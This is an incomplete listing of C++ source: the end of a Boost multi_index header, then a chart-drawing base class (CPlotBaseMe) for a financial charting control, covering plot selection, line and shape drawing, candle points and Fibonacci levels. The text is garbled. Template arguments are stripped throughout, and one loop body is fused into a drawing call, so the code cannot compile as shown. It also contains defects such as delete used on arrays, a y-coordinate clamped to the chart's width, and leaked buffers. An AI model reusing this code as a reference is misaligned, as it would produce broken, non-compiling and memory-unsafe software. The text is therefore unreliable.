sequenced_index; template< typename SuperMeta1,typename TagList1, typename SuperMeta2,typename TagList2 > bool operator==( const sequenced_index& x, const sequenced_index& y); template< typename SuperMeta1,typename TagList1, typename SuperMeta2,typename TagList2 > bool operator<( const sequenced_index& x, const sequenced_index& y); template< typename SuperMeta1,typename TagList1, typename SuperMeta2,typename TagList2 > bool operator!=( const sequenced_index& x, const sequenced_index& y); template< typename SuperMeta1,typename TagList1, typename SuperMeta2,typename TagList2 > bool operator>( const sequenced_index& x, const sequenced_index& y); template< typename SuperMeta1,typename TagList1, typename SuperMeta2,typename TagList2 > bool operator>=( const sequenced_index& x, const sequenced_index& y); template< typename SuperMeta1,typename TagList1, typename SuperMeta2,typename TagList2 > bool operator<=( const sequenced_index& x, const sequenced_index& y); template void swap( sequenced_index& x, sequenced_index& y); } /* namespace multi_index::detail */ /* index specifiers */ template > struct sequenced; } /* namespace multi_index */ } /* namespace boost */ #endif Chart/CPlotBase.cpp #include "..\\stdafx.h" #include "..\\include\\Chart\\CPlotBase.h" //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// CPlotBaseMe::CPlotBaseMe() { m_action = ActionType_NO; m_attachVScale = AttachVScale_Left; m_color = COLOR::ARGB(255, 255, 255); m_dataSource = 0; m_div = 0; m_drawGhost = true; m_enabled = true; m_font = new FONT(); m_isPaintingGhost = false; m_lineStyle = 0; m_lineWidth = 1; m_moveTimes = 0; m_plotType = L"LINE"; m_selected = false; m_selectedColor = COLOR::ARGB(255, 255, 255); m_selectedPoint = SelectPoint_Rect; m_startPoint.x = 0; m_startPoint.y = 0; m_text = L""; m_visible = true; m_zOrder = 0; } CPlotBaseMe::~CPlotBaseMe() { if(m_font) { delete m_font; } m_font = 0; ClearMarks(&m_marks); ClearMarks(&m_startMarks); m_sourceFields.clear(); } AttachVScale CPlotBaseMe::GetAttachVScale() { return m_attachVScale; } void CPlotBaseMe::SetAttachVScale(AttachVScale attachVScale) { m_attachVScale = attachVScale; } _int64 CPlotBaseMe::GetColor() { return m_color; } void CPlotBaseMe::SetColor(_int64 color) { m_color = color; } CursorsMe CPlotBaseMe::GetCursor() { return m_div->GetChart()->GetCursor(); } void CPlotBaseMe::SetCursor(CursorsMe cursor) { m_div->GetChart()->SetCursor(cursor); } CDivMe* CPlotBaseMe::GetDiv() { return m_div; } void CPlotBaseMe::SetDiv(CDivMe *div) { m_div = div; } bool CPlotBaseMe::DrawGhost() { return m_drawGhost; } void CPlotBaseMe::SetDrawGhost(bool drawGhost) { m_drawGhost = drawGhost; } bool CPlotBaseMe::IsEnabled() { return m_enabled; } void CPlotBaseMe::SetEnabled(bool enabled) { if (!enabled) { m_selected = false; } m_enabled = enabled; } FONT* CPlotBaseMe::GetFont() { return m_font; } void CPlotBaseMe::SetFont(FONT *font) { m_font->Copy(font); } CChartMe* CPlotBaseMe::GetChart() { return m_div->GetChart(); } int CPlotBaseMe::GetLineStyle() { return m_lineStyle; } void CPlotBaseMe::SetLineStyle(int lineStyle) { m_lineStyle = lineStyle; } int CPlotBaseMe::GetLineWidth() { return m_lineWidth; } void CPlotBaseMe::SetLineWidth(int lineWidth) { m_lineWidth = lineWidth; } String CPlotBaseMe::GetPlotType() { return m_plotType; } void CPlotBaseMe::SetPlotType(const String& plotType) { m_plotType = plotType; } bool CPlotBaseMe::IsSelected() { return m_selected; } void CPlotBaseMe::SetSelected(bool selected) { m_selected = selected; } _int64 CPlotBaseMe::GetSelectedColor() { return m_selectedColor; } void CPlotBaseMe::SetSelectedColor(_int64 selectedColor) { m_selectedColor = selectedColor; } enum SelectPoint CPlotBaseMe::GetSelectedPoint() { return m_selectedPoint; } void CPlotBaseMe::SetSelectedPoint(enum SelectPoint selectedPoint) { m_selectedPoint = selectedPoint; } String CPlotBaseMe::GetText() { return m_text; } void CPlotBaseMe::SetText(const String& text) { m_text = text; } bool CPlotBaseMe::IsVisible() { return m_visible; } void CPlotBaseMe::SetVisible(bool visible) { m_visible = visible; } int CPlotBaseMe::GetWorkingAreaWidth() { return GetChart()->GetWorkingAreaWidth(); } int CPlotBaseMe::GetWorkingAreaHeight() { return m_div->GetWorkingAreaHeight(); } int CPlotBaseMe::GetZOrder() { return m_zOrder; } void CPlotBaseMe::SetZOrder(int zOrder) { m_zOrder = zOrder; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// void CPlotBaseMe::DrawEllipse(CPaintMe *paint, _int64 dwPenColor, int width, int style, const RECT& rect) { DrawEllipse(paint, dwPenColor, width, style, rect.left, rect.top, rect.right, rect.bottom); } void CPlotBaseMe::DrawEllipse(CPaintMe *paint, _int64 dwPenColor, int width, int style, int left, int top, int right, int bottom) { DrawEllipse(paint, dwPenColor, width, style, (float)left, (float)top, (float)right, (float)bottom); } void CPlotBaseMe::DrawEllipse(CPaintMe *paint, _int64 dwPenColor, int width, int style, float left, float top, float right, float bottom) { int px = GetPx(); int py = GetPy(); left += px; top += py; right += px; bottom += py; RECT rect = { (LONG)left, (LONG)top, (LONG)right, (LONG)bottom }; paint->DrawEllipse(dwPenColor, (float) width, style, rect); if (paint->SupportTransparent()) { CChartMe *chart = GetChart(); POINT mp = GetChart()->GetMousePoint(); if(!m_isPaintingGhost) { if (chart->GetMovingPlot() == this || (mp.y >= m_div->GetTop() && mp.y <= m_div->GetBottom()) && (chart == GetNative()->GetHoveredControl() && !chart->IsOperating() && OnSelect())) { int a = 0; int r = 0; int g = 0; int b = 0; COLOR::ToARGB(paint, dwPenColor, &a, &r, &g, &b); if (a == 255) { a = 50; } dwPenColor = COLOR::ARGB(a, r, g, b); width += 10; paint->DrawEllipse(dwPenColor, (float) width, 0, rect); } } } } void CPlotBaseMe::DrawLine(CPaintMe *paint, _int64 dwPenColor, int width, int style, const POINT& x, const POINT& y) { DrawLine(paint, dwPenColor, width, style, x.x, x.y, y.x, y.y); } void CPlotBaseMe::DrawLine(CPaintMe *paint, _int64 dwPenColor, int width, int style, int x1, int y1, int x2, int y2) { DrawLine(paint, dwPenColor, width, style, (float)x1, (float)y1, (float)x2, (float)y2); } void CPlotBaseMe::DrawLine(CPaintMe *paint, _int64 dwPenColor, int width, int style, float x1, float y1, float x2, float y2) { int px = GetPx(); int py = GetPy(); x1 += px; y1 += py; x2 += px; y2 += py; paint->DrawLine(dwPenColor, (float) width, style, (int) x1, (int) y1, (int) x2, (int) y2); if (paint->SupportTransparent()) { CChartMe *chart = GetChart(); POINT mp = chart->GetMousePoint(); if(!m_isPaintingGhost) { if (chart->GetMovingPlot() == this || (mp.y >= m_div->GetTop() && mp.y <= m_div->GetBottom()) && (chart == GetNative()->GetHoveredControl() && !chart->IsOperating() && OnSelect())) { int a = 0; int r = 0; int g = 0; int b = 0; COLOR::ToARGB(paint, dwPenColor, &a, &r, &g, &b); if (a == 255) { a = 50; } dwPenColor = COLOR::ARGB(a, r, g, b); width += 10; paint->DrawLine(dwPenColor, (float) width, 0, (int) x1, (int) y1, (int) x2, (int) y2); } } } } void CPlotBaseMe::DrawPolygon(CPaintMe *paint, _int64 dwPenColor, int width, int style, POINT *apt, int cpt) { int px = GetPx(); int py = GetPy(); for (int i = 0; i < cpt; i++) { POINT point = {px + apt[i].x, py + apt[i].y}; apt[i] = point; } paint->DrawPolygon(dwPenColor, (float)width, style, apt, cpt); if (paint->SupportTransparent()) { CChartMe *chart = GetChart(); POINT mp = chart->GetMousePoint(); if(!m_isPaintingGhost) { if (chart->GetMovingPlot() == this || (mp.y >= m_div->GetTop() && mp.y <= m_div->GetBottom()) && (chart == GetNative()->GetHoveredControl() && !chart->IsOperating() && OnSelect())) { int a = 0; int r = 0; int g = 0; int b = 0; COLOR::ToARGB(paint, dwPenColor, &a, &r, &g, &b); if (a == 255) { a = 50; } dwPenColor = COLOR::ARGB(a, r, g, b); width += 10; paint->DrawPolygon(dwPenColor, (float) width, 0, apt, cpt); } } } } void CPlotBaseMe::DrawPolyline(CPaintMe *paint, _int64 dwPenColor, int width, int style, POINT *apt, int cpt) { int px = GetPx(); int py = GetPy(); for (int i = 0; i DrawPolyline(dwPenColor, (float) width, style, apt, cpt); if (paint->SupportTransparent()) { CChartMe *chart = GetChart(); POINT mp = chart->GetMousePoint(); if(!m_isPaintingGhost) { if (chart->GetMovingPlot() == this || (mp.y >= m_div->GetTop() && mp.y <= m_div->GetBottom()) && (chart == GetNative()->GetHoveredControl() && !chart->IsOperating() && OnSelect())) { { int a = 0; int r = 0; int g = 0; int b = 0; COLOR::ToARGB(paint, dwPenColor, &a, &r, &g, &b); if (a == 255) { a = 50; } dwPenColor = COLOR::ARGB(a, r, g, b); width += 10; paint->DrawPolyline(dwPenColor, (float) width, 0, apt, cpt); } } } } } void CPlotBaseMe::DrawRay(CPaintMe *paint, _int64 dwPenColor, int width, int style, float x1, float y1, float x2, float y2, float k, float b) { if (k != 0 || b != 0) { float leftX = 0; float leftY = leftX * k + b; float rightX = (float)GetWorkingAreaWidth(); float rightY = rightX * k + b; if (x1 >= x2) { DrawLine(paint, dwPenColor, width, style, leftX, leftY, x1, y1); } else { DrawLine(paint, dwPenColor, width, style, x1, y1, rightX, rightY); } } else { if (y1 >= y2) { DrawLine(paint, dwPenColor, width, style, (float)x1, (float)y1, (float)x1, (float)0); } else { DrawLine(paint, dwPenColor, width, style, x1, y1, x1, (float) GetWorkingAreaHeight()); } } } void CPlotBaseMe::DrawRect(CPaintMe *paint, _int64 dwPenColor, int width, int style, int left, int top, int right, int bottom) { int px = GetPx(); int py = GetPy(); left += px; top += py; right += px; bottom += py; RECT rect = { left, top, right, bottom }; paint->DrawRect(dwPenColor, (float) width, style, rect); if (paint->SupportTransparent()) { CChartMe *chart = GetChart(); POINT mp = chart->GetMousePoint(); if(!m_isPaintingGhost) { if (chart->GetMovingPlot() == this || (mp.y >= m_div->GetTop() && mp.y <= m_div->GetBottom()) && (chart == GetNative()->GetHoveredControl() && !chart->IsOperating() && OnSelect())) { int a = 0; int r = 0; int g = 0; int b = 0; COLOR::ToARGB(paint, dwPenColor, &a, &r, &g, &b); if (a == 255) { a = 50; } dwPenColor = COLOR::ARGB(a, r, g, b); width += 10; paint->DrawRect(dwPenColor, (float) width, 0, rect); } } } } void CPlotBaseMe::DrawRect(CPaintMe *paint, _int64 dwPenColor, int width, int style, const RECT& rect) { DrawRect(paint, dwPenColor, width, style, rect.left, rect.top, rect.right, rect.bottom); } void CPlotBaseMe::DrawSelect(CPaintMe *paint, _int64 dwPenColor, int x, int y) { int px = GetPx(); int py = GetPy(); x += px; y += py; int sub = m_lineWidth * 3; RECT rect = { (LONG)(x - sub), (LONG)(y - sub), (LONG)(x + sub), (LONG)(y + sub) }; if (GetSelectedPoint() == SelectPoint_Ellipse) { paint->FillEllipse(dwPenColor, rect); } else if (GetSelectedPoint() == SelectPoint_Rect) { paint->FillRect(dwPenColor, rect); } } void CPlotBaseMe::DrawSelect(CPaintMe *paint, _int64 dwPenColor, float x, float y) { DrawSelect(paint, dwPenColor, (int)x, (int)y); } void CPlotBaseMe::DrawText(CPaintMe *paint, LPCWSTR strText, _int64 dwPenColor, FONT *font, int left, int top) { int px = GetPx(); int py = GetPy(); left += px; top += py; SIZE size = paint->TextSize(strText, font); RECT rect = { left, top, left + size.cx, top + size.cy}; paint->DrawText(strText, dwPenColor, font, rect); } void CPlotBaseMe::FillEllipse(CPaintMe *paint, _int64 dwPenColor, const RECT& rect) { int px = GetPx(); int py = GetPy(); int left = rect.left; int top = rect.top; int right = rect.right; int bottom = rect.bottom; left += px; top += py; right += px; bottom += py; RECT newRect = { left, top, right, bottom }; paint->FillEllipse(dwPenColor, newRect); } void CPlotBaseMe::FillPolygon(CPaintMe *paint, _int64 dwPenColor, POINT *apt, int cpt) { int px = GetPx(); int py = GetPy(); for (int i = 0; i < cpt; i++) { POINT point = {px + apt[i].x, py + apt[i].y}; apt[i] = point; } paint->FillPolygon(dwPenColor, apt, cpt); } void CPlotBaseMe::FillRect(CPaintMe *paint, _int64 dwPenColor, const RECT& rect) { int px = GetPx(); int py = GetPy(); int left = rect.left; int top = rect.top; int right = rect.right; int bottom = rect.bottom; left += px; top += py; right += px; bottom += py; RECT newRect = { left, top, right, bottom }; paint->FillRect(dwPenColor, newRect); } void CPlotBaseMe::UpdateSourceField(const String& fieldName, int fieldId) { map::iterator sIter = m_sourceFields.find(fieldName); if(sIter == m_sourceFields.end()) { m_sourceFields.insert(make_pair(fieldName, fieldId)); } else { sIter->second = fieldId; } } SIZE CPlotBaseMe::TextSize(CPaintMe *paint, LPCWSTR strText, FONT *font) { return paint->TextSize(strText, font); } void CPlotBaseMe::MovePlot(float mouseY, float startY, int startIndex, int mouseBeginIndex, int mouseEndIndex, float pureV, double max, double min, int dataCount, double *yAddValue, int *newIndex) { float subY = mouseY - startY; *yAddValue = (min - max) * subY / (double) pureV; *newIndex = startIndex + mouseEndIndex - mouseBeginIndex; if (*newIndex < 0) { *newIndex = 0; } else if (*newIndex > dataCount - 1) { *newIndex = dataCount - 1; } } CNativeBaseMe* CPlotBaseMe::GetNative() { return m_div->GetChart()->GetNative(); } int CPlotBaseMe::GetIndex(const POINT& mp) { CChartMe *chart = GetChart(); POINT newPoint; newPoint.x = mp.x + chart->GetLeftVScaleWidth(); newPoint.y = mp.y + m_div->GetTop() + m_div->GetTitleBar()->GetHeight(); return chart->GetIndex(newPoint); } POINT CPlotBaseMe::GetMouseOverPoint() { CChartMe *chart = GetChart(); POINT mp = chart->GetMousePoint(); mp.x -= chart->GetLeftVScaleWidth(); mp.y = mp.y - m_div->GetTop() - m_div->GetTitleBar()->GetHeight(); return mp; } void CPlotBaseMe::ClearMarks(map *marks) { map::iterator sIterPlot = marks->begin(); for(; sIterPlot != marks->end(); ++sIterPlot) { delete sIterPlot->second; sIterPlot->second = 0; } marks->clear(); } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// bool CPlotBaseMe::CreatePoint(const POINT& mp) { if (m_dataSource->RowsCount() > 0) { CChartMe *chart = GetChart(); int mouseIndex = chart->GetIndex(mp); if (mouseIndex >= chart->GetFirstVisibleIndex() && mouseIndex <= chart->GetLastVisibleIndex()) { double date = m_dataSource->GetXValue(mouseIndex); ClearMarks(&m_marks); double yValue = GetNumberValue(mp); m_marks.insert(make_pair(0, new CPlotMarkMe(0, date, yValue))); return true; } } return false; } bool CPlotBaseMe::Create2PointsA(const POINT& mp) { if (m_dataSource->RowsCount() > 0) { CChartMe *chart = GetChart(); int mouseIndex = chart->GetIndex(mp); if (mouseIndex >= chart->GetFirstVisibleIndex() && mouseIndex <= chart->GetLastVisibleIndex()) { int eIndex = mouseIndex; int bIndex = eIndex - 1; if (bIndex >= 0) { double fDate = m_dataSource->GetXValue(bIndex); double sDate = m_dataSource->GetXValue(eIndex); ClearMarks(&m_marks); double numberValue = GetNumberValue(mp); m_marks.insert(make_pair(0, new CPlotMarkMe(0, fDate, numberValue))); m_marks.insert(make_pair(1, new CPlotMarkMe(1, sDate, numberValue))); return true; } } } return false; } bool CPlotBaseMe::Create2PointsB(const POINT& mp) { if (m_dataSource->RowsCount() > 0) { CChartMe *chart = GetChart(); int mouseIndex = chart->GetIndex(mp); if (mouseIndex >= chart->GetFirstVisibleIndex() && mouseIndex <= chart->GetLastVisibleIndex()) { double date = m_dataSource->GetXValue(mouseIndex); ClearMarks(&m_marks); double numberValue = GetNumberValue(mp); m_marks.insert(make_pair(0, new CPlotMarkMe(0, date, numberValue))); m_marks.insert(make_pair(1, new CPlotMarkMe(1, date, numberValue))); return true; } } return false; } bool CPlotBaseMe::Create2CandlePoints(const POINT& mp) { if (m_dataSource->RowsCount() > 0) { CChartMe *chart = GetChart(); vector shapes = m_div->GetShapes(SORTTYPE_DESC); vector::iterator sIter = shapes.begin(); for(; sIter != shapes.end(); ++sIter) { CBaseShapeMe *shape = (*sIter); if (shape->IsVisible()) { CCandleShapeMe *cs = dynamic_cast(shape); if (cs) { int mouseIndex = chart->GetIndex(mp); if (mouseIndex >= chart->GetFirstVisibleIndex() && mouseIndex <= chart->GetLastVisibleIndex()) { int eIndex = mouseIndex; int bIndex = eIndex - 1; if (bIndex >= 0) { double fDate = m_dataSource->GetXValue(bIndex); double sDate = m_dataSource->GetXValue(eIndex); ClearMarks(&m_marks); double numberValue = GetNumberValue(mp); m_marks.insert(make_pair(0, new CPlotMarkMe(0, fDate, numberValue))); m_marks.insert(make_pair(1, new CPlotMarkMe(1, sDate, numberValue))); UpdateSourceField(L"CLOSE", cs->GetCloseField()); UpdateSourceField(L"OPEN", cs->GetOpenField()); UpdateSourceField(L"HIGH", cs->GetHighField()); UpdateSourceField(L"LOW", cs->GetLowField()); return true; } } } } } } return false; } bool CPlotBaseMe::Create3Points(const POINT& mp) { if (m_dataSource->RowsCount() > 0) { CChartMe *chart = GetChart(); int mouseIndex = chart->GetIndex(mp); if (mouseIndex >= chart->GetFirstVisibleIndex() && mouseIndex <= chart->GetLastVisibleIndex()) { int eIndex = mouseIndex; int bIndex = eIndex - 1; if (bIndex >= 0) { double fDate = m_dataSource->GetXValue(bIndex); double sDate = m_dataSource->GetXValue(eIndex); ClearMarks(&m_marks); double numberValue = GetNumberValue(mp); m_marks.insert(make_pair(0, new CPlotMarkMe(0, fDate, numberValue))); m_marks.insert(make_pair(1, new CPlotMarkMe(1, sDate, numberValue))); CVScaleMe *vscale = m_div->GetVScale(m_attachVScale); if (vscale && vscale->GetVisibleMax() != vscale->GetVisibleMin()) { m_marks.insert(make_pair(2, new CPlotMarkMe(2, fDate, numberValue + (vscale->GetVisibleMax() - vscale->GetVisibleMin()) / 4.0))); } else { m_marks.insert(make_pair(2, new CPlotMarkMe(2, fDate, numberValue))); } return true; } } } return false; } void CPlotBaseMe::CreateCandlePoint(int pos, int index, int close) { if (index >= 0) { int rowCount = m_dataSource->RowsCount(); if (index > rowCount - 1) { index = rowCount - 1; } double date = m_dataSource->GetXValue(index); double yValue = 0.0; if (!m_dataSource->IsNaN(m_dataSource->Get2(index, close))) { yValue = m_dataSource->Get2(index, close); } m_marks.insert(make_pair(pos, new CPlotMarkMe(pos, date, yValue))); } } bool CPlotBaseMe::Create4CandlePoints(const POINT& mp) { if (m_dataSource->RowsCount() > 0) { CChartMe *chart = GetChart(); vector shapes = m_div->GetShapes(SORTTYPE_ASC); vector::iterator sIter = shapes.begin(); for(; sIter != shapes.end(); ++sIter) { CBaseShapeMe *shape = (*sIter); CCandleShapeMe *cshape = dynamic_cast(shape); if (shape->IsVisible() && cshape) { int mouseIndex = chart->GetIndex(mp); if (mouseIndex >= chart->GetFirstVisibleIndex() && mouseIndex <= chart->GetLastVisibleIndex()) { int closeField = cshape->GetCloseField(); CreateCandlePoint(0, mouseIndex, closeField); CreateCandlePoint(1, mouseIndex + 1, closeField); CreateCandlePoint(2, mouseIndex + 2, closeField); CreateCandlePoint(3, mouseIndex + 3, closeField); UpdateSourceField(L"CLOSE", closeField); UpdateSourceField(L"OPEN", cshape->GetOpenField()); UpdateSourceField(L"HIGH", cshape->GetHighField()); UpdateSourceField(L"LOW", cshape->GetLowField()); return true; } } } } return false; } double* CPlotBaseMe::GetCandleRange(map *pList, int *length) { *length = 0; if ((int)pList->size() == 0 || (int)m_sourceFields.size() == 0) { return 0; } map::iterator sIterHigh = m_sourceFields.find(L"HIGH"); map::iterator sIterLow = m_sourceFields.find(L"LOW"); if (sIterHigh == m_sourceFields.end() || sIterLow == m_sourceFields.end()) { return 0; } map::iterator pList0 = pList->find(0); map::iterator pList1 = pList->find(1);; int bRecord = m_dataSource->GetRowIndex(pList0->second->Key); int eRecord = m_dataSource->GetRowIndex(pList1->second->Key); double *highlist = 0; double *lowlist = 0; int hightLength = 0; int lowLength = 0; if (eRecord >= bRecord) { highlist = m_dataSource->DATA_ARRAY(sIterHigh->second, eRecord, eRecord - bRecord + 1, &hightLength); lowlist = m_dataSource->DATA_ARRAY(sIterLow->second, eRecord, eRecord - bRecord + 1, &lowLength); } else { highlist = m_dataSource->DATA_ARRAY(sIterHigh->second, bRecord, bRecord - eRecord + 1, &hightLength); lowlist = m_dataSource->DATA_ARRAY(sIterLow->second, bRecord, bRecord - eRecord + 1, &lowLength); } double nHigh = 0.0; double nLow = 0.0; nHigh = CMathLibMe::GetMax(highlist, hightLength); nLow = CMathLibMe::GetMin(lowlist, lowLength); if(highlist) { delete highlist; } highlist = 0; if(lowlist) { delete lowlist; } lowlist = 0; double *retArray = new double[2]; retArray[0] = nHigh; retArray[1] = nLow; *length = 2; return retArray; } float* CPlotBaseMe::GetLineParams(CPlotMarkMe *markA, CPlotMarkMe *markB, int *length) { float y1 = PY(markA->Value); float y2 = PY(markB->Value); int bIndex = m_dataSource->GetRowIndex(markA->Key); int eIndex = m_dataSource->GetRowIndex(markB->Key); float x1 = PX(bIndex); float x2 = PX(eIndex); if (x2 - x1 != 0) { float k = 0; float b = 0; CMathLibMe::M107(x1, y1, x2, y2, 0, 0, &k, &b); float *retArray = new float[2]; retArray[0] = k; retArray[1] = b; *length = 2; return retArray; } *length = 0; return NULL; } double* CPlotBaseMe::GetLRBandRange(map *marks, float *param) { map::iterator sIterHigh; map::iterator sIterLow; if ((int)m_sourceFields.size() <= 0) { sIterHigh = m_sourceFields.find(L"HIGH"); sIterLow = m_sourceFields.find(L"LOW"); if (sIterHigh == m_sourceFields.end() || sIterLow == m_sourceFields.end()) { return 0; } } float a = param[0]; float b = param[1]; vector upList; vector downList; map::iterator pList0 = marks->find(0); map::iterator pList1 = marks->find(1);; int bIndex = m_dataSource->GetRowIndex(pList0->second->Key); int eIndex = m_dataSource->GetRowIndex(pList1->second->Key); for (int i = bIndex; i <= eIndex; i++) { double high = m_dataSource->Get2(i, sIterHigh->second); double low = m_dataSource->Get2(i, sIterLow->second); if (!m_dataSource->IsNaN(high) && !m_dataSource->IsNaN(low)) { double midValue = (i - bIndex + 1) * a + b; upList.push_back(high - midValue); downList.push_back(midValue - low); } } int upSize = (int)upList.size(); int downSize = (int)downList.size(); double *upArray = new double[upSize]; double *downArray = new double[downSize]; for(int i = 0; i < upSize; i++) { upArray[i] = upList[i]; } for(int i = 0; i < downSize; i++) { downArray[i] = downList[i]; } double upSubValue = CMathLibMe::GetMax(upArray, upSize); double downSubValue = CMathLibMe::GetMax(downArray, downSize); double *retArray = new double[2]; retArray[0] = upSubValue; retArray[1] = downSubValue; return retArray; } float* CPlotBaseMe::GetLRParams(map *marks) { map::iterator sIterClose; if ((int)m_sourceFields.size() > 0) { sIterClose = m_sourceFields.find(L"CLOSE"); if(sIterClose != m_sourceFields.end()) { map::iterator pList0 = marks->find(0); map::iterator pList1 = marks->find(1);; int bIndex = m_dataSource->GetRowIndex(pList0->second->Key); int eIndex = m_dataSource->GetRowIndex(pList1->second->Key); if (bIndex != -1 && eIndex != -1) { vector closeVList; for (int i = bIndex; i <= eIndex; i++) { double value = m_dataSource->Get2(i, sIterClose->second); if (!m_dataSource->IsNaN(value)) { closeVList.push_back(value); } } if ((int)closeVList.size() > 0) { float a = 0; float b = 0; int closeSize = (int)closeVList.size(); double *closeArray = new double[closeSize]; for(int i = 0; i < closeSize; i++) { closeArray[i] = closeVList[i]; } CMathLibMe::M014(closeArray, closeSize, &a, &b); if(closeArray) { delete closeArray; closeArray = 0; } float *retArray = new float[2]; retArray[0] = a; retArray[1] = b; return retArray; } } } } return 0; } POINT CPlotBaseMe::GetMovingPoint() { POINT mp = GetMouseOverPoint(); if (mp.x < 0) { mp.x = 0; } else if (mp.x > GetWorkingAreaWidth()) { mp.x = GetWorkingAreaWidth(); } if (mp.y < 0) { mp.y = 0; } else if (mp.y > GetWorkingAreaWidth()) { mp.y = GetWorkingAreaWidth(); } return mp; } double CPlotBaseMe::GetNumberValue(const POINT& mp) { CChartMe *chart = GetChart(); POINT newPoint; newPoint.x = mp.x + chart->GetLeftVScaleWidth(); newPoint.y = mp.y + m_div->GetTop() + m_div->GetTitleBar()->GetHeight(); return chart->GetNumberValue(m_div, newPoint, m_attachVScale); } int CPlotBaseMe::GetPx() { return GetChart()->GetLeftVScaleWidth(); } int CPlotBaseMe::GetPy() { return m_div->GetTitleBar()->GetHeight(); } RECT CPlotBaseMe::GetRectangle(CPlotMarkMe *markA, CPlotMarkMe *markB) { double aValue = markA->Value; double bValue = markB->Value; int aIndex = m_dataSource->GetRowIndex(markA->Key); int bIndex = m_dataSource->GetRowIndex(markB->Key); float x = PX(aIndex); float y = PY(aValue); float xS = PX(bIndex); float yS = PY(bValue); float width = abs((float)(xS - x)); if (width < 4) { width = 4; } float height = abs((float)(yS - y)); if (height < 4) { height = 4; } float left = x <= xS ? x : xS; float top = y <= yS ? y : yS; RECT rect = { (LONG)left, (LONG)top, (LONG)(left + width), (LONG)(top + height) }; return rect; } float* CPlotBaseMe::GoldenRatioParams(double value1, double value2, int *length) { float y1 = PY(value1); float y2 = PY(value2); float y0 = 0; float yA = 0; float yB = 0; float yC = 0; float yD = 0; float y100 = 0; y0 = y1; yA = (float)((y1 <= y2) ? (y1 + ((y2 - y1) * 0.236)) : (y2 + ((y1 - y2) * 0.764))); yB = (float)((y1 <= y2) ? (y1 + ((y2 - y1) * 0.382)) : (y2 + ((y1 - y2) * 0.618))); yC = (float)((y1 <= y2) ? (y1 + ((y2 - y1) * 0.5)) : (y2 + ((y1 - y2) * 0.5))); yD = (float)((y1 <= y2) ? (y1 + ((y2 - y1) * 0.618)) : (y2 + ((y1 - y2) * 0.382))); y100 = y2; *length = 6; float *retArray = new float[6]; retArray[0] = y0; retArray[1] = yA; retArray[2] = yB; retArray[3] = yC; retArray[4] = yD; retArray[5] = y100; return retArray; } bool CPlotBaseMe::HLinesSelect(float *param, int length) { POINT mp = GetMouseOverPoint(); float top = 0; float bottom = (float)GetWorkingAreaHeight(); if (mp.y >= top && mp.y <= bottom) { for(int i = 0; i < length; i++) { float p = param[i]; if (mp.y >= (p - m_lineWidth * 2.5) && mp.y <= (p + m_lineWidth * 2.5)) { return true; } } } return false; } void CPlotBaseMe::Move(const POINT& mp) { CVScaleMe *vScale = m_div->GetVScale(m_attachVScale); ClearMarks(&m_marks); int startMarkSize = (int)m_startMarks.size(); for (int i = 0; i < startMarkSize; i++) { int startIndex = m_dataSource->GetRowIndex(m_startMarks[i]->Key); int newIndex = 0; double yAddValue = 0.0; MovePlot((float) mp.y, (float) m_startPoint.y, startIndex, GetIndex(m_startPoint), GetIndex(mp), (float) GetWorkingAreaHeight(), vScale->GetVisibleMax(), vScale->GetVisibleMin(), m_dataSource->RowsCount(), &yAddValue, &newIndex); if (vScale->IsReverse()) { CPlotMarkMe *mark = new CPlotMarkMe(i, m_dataSource->GetXValue(newIndex), m_startMarks[i]->Value - yAddValue); map::iterator sIter = m_marks.find(i); if(sIter == m_marks.end()) { m_marks.insert(make_pair(i, mark)); } else { sIter->second = mark; } } else { CPlotMarkMe *mark = new CPlotMarkMe(i, m_dataSource->GetXValue(newIndex), m_startMarks[i]->Value + yAddValue); map::iterator sIter = m_marks.find(i); if(sIter == m_marks.end()) { m_marks.insert(make_pair(i, mark)); } else { sIter->second = mark; } } } } void CPlotBaseMe::OnPaint(CPaintMe *paint) { CChartMe *chart = GetChart(); POINT mousePoint = chart->GetMousePoint(); if (mousePoint.y >= m_div->GetTop() && mousePoint.y <= m_div->GetBottom() && (chart->GetMovingPlot() == this || (chart == GetNative()->GetHoveredControl() && !chart->IsOperating() && OnSelect()))) { Paint(paint, &m_marks, m_selectedColor); } else { Paint(paint, &m_marks, m_color); } } void CPlotBaseMe::OnPaintGhost(CPaintMe *paint) { m_isPaintingGhost = true; Paint(paint, &m_startMarks, m_color); m_isPaintingGhost = false; } void CPlotBaseMe::Paint(CPaintMe *paint, map *pList, _int64 lineColor) { } float CPlotBaseMe::PX(int index) { CChartMe *chart = GetChart(); return chart->GetX(index) - chart->GetLeftVScaleWidth(); } float CPlotBaseMe::PY(double value) { CChartMe *chart = GetChart(); return chart->GetY(m_div, value, m_attachVScale) - m_div->GetTitleBar()->GetHeight(); } float CPlotBaseMe::PX(float x) { CChartMe *chart = GetChart(); return x - chart->GetLeftVScaleWidth(); } float CPlotBaseMe::PY(float y) { return y - m_div->GetTop() - m_div->GetTitleBar()->GetHeight(); } void CPlotBaseMe::Resize(int index) { CChartMe *chart = GetChart(); int mouseIndex = chart->GetMouseOverIndex(); double y = GetNumberValue(GetMovingPoint()); if (mouseIndex < 0) { mouseIndex = 0; } if (mouseIndex > chart->GetLastVisibleIndex()) { mouseIndex = chart->GetLastVisibleIndex(); } CPlotMarkMe *mark = new CPlotMarkMe(index, m_dataSource->GetXValue(mouseIndex), y); map::iterator sIter = m_marks.find(index); if(sIter == m_marks.end()) { m_marks.insert(make_pair(index, mark)); } else { sIter->second = mark; } } void CPlotBaseMe::Resize(const POINT& mp, POINT oppositePoint) { POINT point = {oppositePoint.x, oppositePoint.y}; double sValue = GetNumberValue(point); double eValue = GetNumberValue(mp); int indexS = GetIndex(point); int indexE = GetIndex(mp); double topValue = 0.0; double bottomValue = 0.0; CVScaleMe *vScale = m_div->GetVScale(m_attachVScale); if (sValue >= eValue) { if (vScale->IsReverse()) { topValue = eValue; bottomValue = sValue; } else { topValue = sValue; bottomValue = eValue; } } else if (vScale->IsReverse()) { topValue = sValue; bottomValue = eValue; } else { topValue = eValue; bottomValue = sValue; } double sDate = 0.0; double eDate = 0.0; if (indexS < 0) { indexS = 0; } else if (indexS > m_dataSource->RowsCount() - 1) { indexS = m_dataSource->RowsCount() - 1; } if (indexE < 0) { indexE = 0; } else if (indexE > m_dataSource->RowsCount() - 1) { indexE = m_dataSource->RowsCount() - 1; } if (indexS >= indexE) { sDate = m_dataSource->GetXValue(indexE); eDate = m_dataSource->GetXValue(indexS); } else { sDate = m_dataSource->GetXValue(indexS); eDate = 